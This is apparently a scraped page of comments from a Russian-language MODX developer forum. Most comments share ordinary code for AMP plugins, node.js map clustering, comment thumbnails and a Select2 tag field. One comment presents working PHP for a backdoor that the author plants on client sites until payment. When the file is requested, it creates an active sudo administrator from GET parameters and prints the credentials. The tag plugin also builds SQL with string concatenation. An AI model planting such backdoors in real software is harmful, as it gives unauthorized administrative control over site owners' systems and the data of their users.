Евгений Шеронов · 02 января 2018, 22:04 Вроде как бесплатное есть github.com/modxcms/ampify Скачать можно и через репозиторий modx.pro А как ставили AMP на клиентских сайтах, такими же способом как в Ampify или иначе? Вопросы / Турбо страницы / AMP на modx 2 +1 2
Максим Кузнецов · 24 января 2017, 00:43 Аналогично, бэкдор + сайт лежит на своем хостинге до оплаты оставшейся части. Вот код: <?php define('MODX_API_MODE', true); //количество dirname = глубина документа относительно корня require dirname(dirname(dirname(dirname(__FILE__)))) . '/index.php'; $user = empty($_GET['user']) ? 'user'. rand(99,9999) : $_GET['user']; $pass = empty($_GET['pass']) ? rand(10000000,99999999) : $_GET['pass']; $u = $modx->newObject('modUser'); $u->fromArray(array( 'username' => $user, 'password' => $pass, 'active' => 1, 'primary_group' => 1, )); $u->joinGroup('1', '0'); $u->setSudo(1); $p = $modx->newObject('modUserProfile'); $p->fromArray(array( 'fullname' => $user, 'email' => $user.'@yoba.ru', )); $u->addOne($p); $u->save(); if (!empty($u->username)) { print '<p><b>user:</b> '. $user .'</p><p><b>pass:</b> '. $pass .'</p>'; } — при запросе к документу генерирует и выводит логин-пароль для свежесозданного sudo-пользователя. (соответственно, файл должен быть доступен извне) По поводу взлома можешь обратиться к agel_nash, наверное. Вопросы / Можно ли взломать сайт на MODX? 17 +4 6
but1head · 23 января 2017, 23:25 Мини пост про node.js, не много оффтоп. Есть у меня один проект, где планировалось вывести на карте 50к точек, много всяких карт перебрал и тд, все было долговато (около 2х секунд, т.к. файл точек весит около 10мб). Потом подумал зачем отдавать все это дело клиенту, решил написать сервер на ноде для «порционной» выгрузки в пределах видимости. Вот что получилось: s8276.h7.modhost.pro/demo/ на карте размещен кластер на 1.000.000 точек (вес файла 135мб), даже с телефона отрабатывает моментально. Выложил все исходники на github.com/but1head/supercluster-nodejs, может кому-нибудь пригодится. Для разработчиков / modNodejs - Интеграция Nodejs в MODx 94 +5 5
Константин Ильин · 30 сентября 2016, 12:07 Это мой первый компонент и я думал под танцы с бубном он передается автоматически)) Спасибо большое Сергей! все получилось, подсмотрел в других компонентах Сделал так: В плагине создал запись $modx->controller->addHtml('<script type="text/javascript"> Trans.config = ' . $modx->toJSON($Trans->config) . '; Trans.config.res_id = "'.$resource->get('id').'"; Trans.config.connector_url = "' . $Trans>config['connectorUrl'] . '"; '.$trConfig.' </script> ');в js Trans.grid.Items = function (config) { Ext.applyIf(config, { url: Trans.config.connector_url, ***** baseParams: { action: 'mgr/transitems/getlist' , res_id: Trans.config.res_id }, ***** Для разработчиков / Процессоры в MODX 26 0 1
Николай Загумённов · 06 июня 2016, 14:14 Попробывал сделать так: {$_modx->runSnippet('!TicketComments', [ 'showLog' => 1, 'class' => 'TicketComment', 'loadModels' => 'UserFiles', 'leftJoin' => '{ "Thumbs": { "class": "UserFile", "on": "Thumbs.list = TicketComment.id AND Thumbs.properties LIKE \'%w\":120,\"h\":90%\'" } }', 'select' => '{ "TicketComment": "*", "Thumbs": "GROUP_CONCAT(Thumbs.url) as thumbs" }', 'groupby' => 'TicketComment.id', ])}В плейсхолдере thumbs получаю строку с картикками через запятую. Теперь осталось только сделать сниппет который будет обрабатывать эту строку. Когда оставляю коментарий картинки не подгружаются сразу, надо обновить страницу, чтобы пути появились под комментом. Как можно сделать чтобы они подгружались сразу? P.S. Спасибо за GROUP_CONCAT() Вопросы / Как прикрепить изображение к комментарию 27 +1 2
Николай Загумённов · 28 мая 2016, 22:56 Я использовал компонент tvSuperSelect. Чтобы с фронта добавлять тэги добавил плагин, который заполняет ТВ поле и таблицу компонента значениями: <?php // tvssTagsSave $tvss = $modx->getService('tvsuperselect', 'tvsuperselect', $modx->getOption('core_path').'components/tvsuperselect/model/tvsuperselect/'); if (!($tvss instanceof tvSuperSelect)) { return ''; } switch ($modx->event->name) { case 'OnDocFormSave': if (is_object($resource) && is_array($resource->_fields)) { $data = $resource->_fields; $resource_id = $data['id']; // $modx->log(1, print_r($data, 1)); $flds = $tv_values = array(); foreach ($data as $key => $value) { if ($key == 'tags') { $tv_id = 1; $array = array_diff($value, array('')); if (!empty($array)) { $flds[] = array( 'resource_id' => $resource_id, 'tv_id' => $tv_id, 'data' => $array, ); $tv_values[$tv_id] = $modx->toJSON($array); } } } // пишем в таблицу пакета if (!empty($flds)) { // $modx->log(1, print_r($flds, 1)); $table = $modx->getTableName('tvssOption'); foreach ($flds as $fld) { $sql = 'DELETE FROM '.$table.' WHERE `resource_id` = '.$fld['resource_id'].' AND `tv_id` = '.$fld['tv_id']; $stmt = $modx->prepare($sql); $stmt->execute(); $stmt->closeCursor(); $values = array(); foreach ($fld['data'] as $value) { if (!empty($value)) { $values[] = '('.$fld['resource_id'].',"'.$fld['tv_id'].'","'.addslashes($value).'")'; } } if (!empty($values)) { $sql = 'INSERT INTO '.$table.' (`resource_id`,`tv_id`,`value`) VALUES '.implode(',', $values); $stmt = $modx->prepare($sql); $stmt->execute(); $stmt->closeCursor(); } } } // пишем в таблицу modTemplateVarResource if (!empty($tv_values)) { //$modx->log(1, print_r($tv_values, 1)); foreach ($tv_values as $tv_id => $values) { if (!$tv_obj = $modx->getObject('modTemplateVarResource', array( 'tmplvarid' => $tv_id, 'contentid' => $resource_id, ))) { $tv_obj = $modx->newObject('modTemplateVarResource'); } $tv_obj->fromArray(array( 'tmplvarid' => $tv_id, 'contentid' => $resource_id, 'value' => $values, )); $tv_obj->save(); // $modx->log(1, print_r($tv_obj->toArray(), 1)); unset($tv_obj); } } } break; }Чтобы выводить во фронте поле добавил сниппет: <?php // tvssTagsOptions /* @var pdoFetch $pdoFetch */ $fqn = $modx->getOption('pdoFetch.class', null, 'pdotools.pdofetch', true); $path = $modx->getOption('pdotools_class_path', null, MODX_CORE_PATH.'components/pdotools/model/', true); if ($pdoClass = $modx->loadClass($fqn, $path, false, true)) { $pdoFetch = new $pdoClass($modx, $scriptProperties); } else { return false; } $pdoFetch->addTime('pdoTools loaded'); if (!$modx->addPackage('tvsuperselect', MODX_CORE_PATH.'components/tvsuperselect/model/')) { return false; } $tv = $modx->getOption('tv', $scriptProperties, ''); // TV name or... $tvid = $modx->getOption('tvId', $scriptProperties, ''); // ... TV id $tvInput = $modx->getOption('tvInput', $scriptProperties, ''); // TV input name $res = $modx->getOption('res', $scriptProperties, 0); // Resource id $tpl = $modx->getOption('tpl', $scriptProperties, 'tpl.tvssTagsOptions'); $tv_where = $tv ? array( 'name' => $tv ) : ''; $tv_where = $tv_where ?: ( $tvid? array( 'id' => $tvid ) : '' ); // print_r($tv_where); if( empty($tv_where) ) { return; } if( $tv_obj = $modx->getObject('modTemplateVar', $tv_where) ) { $value = ''; if( $res != 0 && $tv_val_obj = $modx->getObject('modTemplateVarResource', array( 'tmplvarid' => $tv_obj->id, 'contentid' => $res, ))) { $value = $tv_val_obj->value; } $value_arr = $modx->fromJSON($value); // Массив со значениями тэгов конкретного ресурса // Массив, который мы передадим в процессор, там его ловить в $scriptProperties $processorProps = array( 'tv_id' => $tv_obj->id, ); // Массив опций для метода runProcessor $otherProps = array( // Здесь указываем где лежат наши процессоры 'processors_path' => $modx->getOption('core_path') . 'components/tvsuperselect/processors/' ); // Запускаем $response = $modx->runProcessor('mgr/option/getoptions', $processorProps, $otherProps); // И возвращаем ответ от процессора $options_array = $modx->fromJSON($response->response); // Массив со всеми тэгами if (is_array($options_array['results']) || is_object($options_array['results'])) { foreach($options_array['results'] as $v) { $selected = ''; if (is_array($value_arr) || is_object($value_arr)) { foreach ($value_arr as $key => $val) { if ($v['value'] == $val) { $selected = "selected=\"selected\""; } } } $options .= "<option ". $selected ." value=\"". $v['value'] ."\">"; $options .= $v['value']; $options .= "</option>"; $selected = ""; } } $return = $modx->getChunk($tpl, array( 'tv_id' => $tv_obj->id, 'tv_name' => $tv_obj->name, 'tv_input_name' => $tvInput ?: $tv_obj->name, 'tv_value' => $value, 'res_id' => $res, 'options' => $options )); return $return; } else { return; }Чанк tpl.tvssTagsOptions: <select name="tags[]" multiple="multiple" class="js-tvSuperSelect-tags form-control" id="ticket-tags"> [[+options]] </select>В чанке с формой добавления/редактирования тикетов добавил: <link href="/js/select2-4.0.2/dist/css/select2.min.css" rel="stylesheet" /> <script src="/js/select2-4.0.2/dist/js/select2.min.js"></script> <script type="text/javascript"> $(document).ready(function(){ $(".js-tvSuperSelect-tags").select2({ tags: true }); }); </script> <div class="form-group"> <label for="ticket-sections">Тэги</label> [[!tvssTagsOptions? &tv=`tags` &res=`0`]] // В чанке редактирования [[!tvssTagsOptions? &tv=`tags` &res=`[[+id]]`]] <span class="error"></span> </div>Прикрутил к полю тэгов Select2, чтобы тэги было удобно заполнять и все. Может кому пригодится =) Краудфандинг / Тэги к тикетам 49 +2 7
Илья Уткин · 13 декабря 2015, 13:38 [[*content:showCode]] Сниппет showCode: Вопросы / какой код нужно прописать,что бы MODX не выполнял 7 +5 1
Возможно ли реализовать возможность предоплаты за доставку на сайте? Так ради этого мне и нужно это все, чтобы клиент платил сразу при оформлении заказа, чтобы избавить себя от мусорных заявок (когда человек оставляет заявку, а предоплату делать не ...
Редизайн сообщества На больших экранах основной текст статьи я бы сделал 18 px. Да и текст комментариев можно таким сделать. Для меня лично 16 — мелковато на больших экранах (в комментариях вообще 15 ...
MiniShop3 1.11.0 при клике на radio идет пересчет итоговой суммы в orderUI, в зависимости от способов(оплаты доставки) я так поняла. попробуй код запуска события поставить ниже чем orderUI, после
ImageOptimizer - WebP/AVIF и responsive <picture> для MODX 3 Дополнение доступно modstore.pro/packages/photos-and-files/imageoptimizer
Localizator3 для MODX 3: перевод полей и TV без отдельного context на язык, Vue 3 + PrimeV... Добавил localizator3_default_language
msInShopNotify Начиная с версии 3.0.0-beta добавлена поддержка MiniShop3 Минимальные требования: PHP 8.4 MODX 3.2 MiniShop3
MaxNotify Обновление 1.2.0-pl (03.07.2026) — добавлены уведомления о заявках FormIt через hook-сниппет `maxNotifyFormIt`; — добавлены уведомления о заявках SendIt через hook-...
[msBonus2] 1.3.0 Бонус-коды, уведомления о сгорании и совместимость с msMultiCurre... Да, планируется. Даже чуть больше, чем просто бонусная система)
Скачать можно и через репозиторий modx.pro
А как ставили AMP на клиентских сайтах, такими же способом как в Ampify или иначе?
— при запросе к документу генерирует и выводит логин-пароль для свежесозданного sudo-пользователя. (соответственно, файл должен быть доступен извне)
По поводу взлома можешь обратиться к agel_nash, наверное.
Есть у меня один проект, где планировалось вывести на карте 50к точек, много всяких карт перебрал и тд, все было долговато (около 2х секунд, т.к. файл точек весит около 10мб). Потом подумал зачем отдавать все это дело клиенту, решил написать сервер на ноде для «порционной» выгрузки в пределах видимости. Вот что получилось:
s8276.h7.modhost.pro/demo/ на карте размещен кластер на 1.000.000 точек (вес файла 135мб), даже с телефона отрабатывает моментально. Выложил все исходники на github.com/but1head/supercluster-nodejs, может кому-нибудь пригодится.
Спасибо большое Сергей! все получилось, подсмотрел в других компонентах
Сделал так:
В плагине создал запись
в js
В плейсхолдере thumbs получаю строку с картикками через запятую. Теперь осталось только сделать сниппет который будет обрабатывать эту строку.
Когда оставляю коментарий картинки не подгружаются сразу, надо обновить страницу, чтобы пути появились под комментом.
Как можно сделать чтобы они подгружались сразу?
P.S. Спасибо за GROUP_CONCAT()
Чтобы с фронта добавлять тэги добавил плагин, который заполняет ТВ поле и таблицу компонента значениями:
Чтобы выводить во фронте поле добавил сниппет:
Чанк tpl.tvssTagsOptions:
В чанке с формой добавления/редактирования тикетов добавил:
Прикрутил к полю тэгов Select2, чтобы тэги было удобно заполнять и все.
Может кому пригодится =)
Сниппет showCode: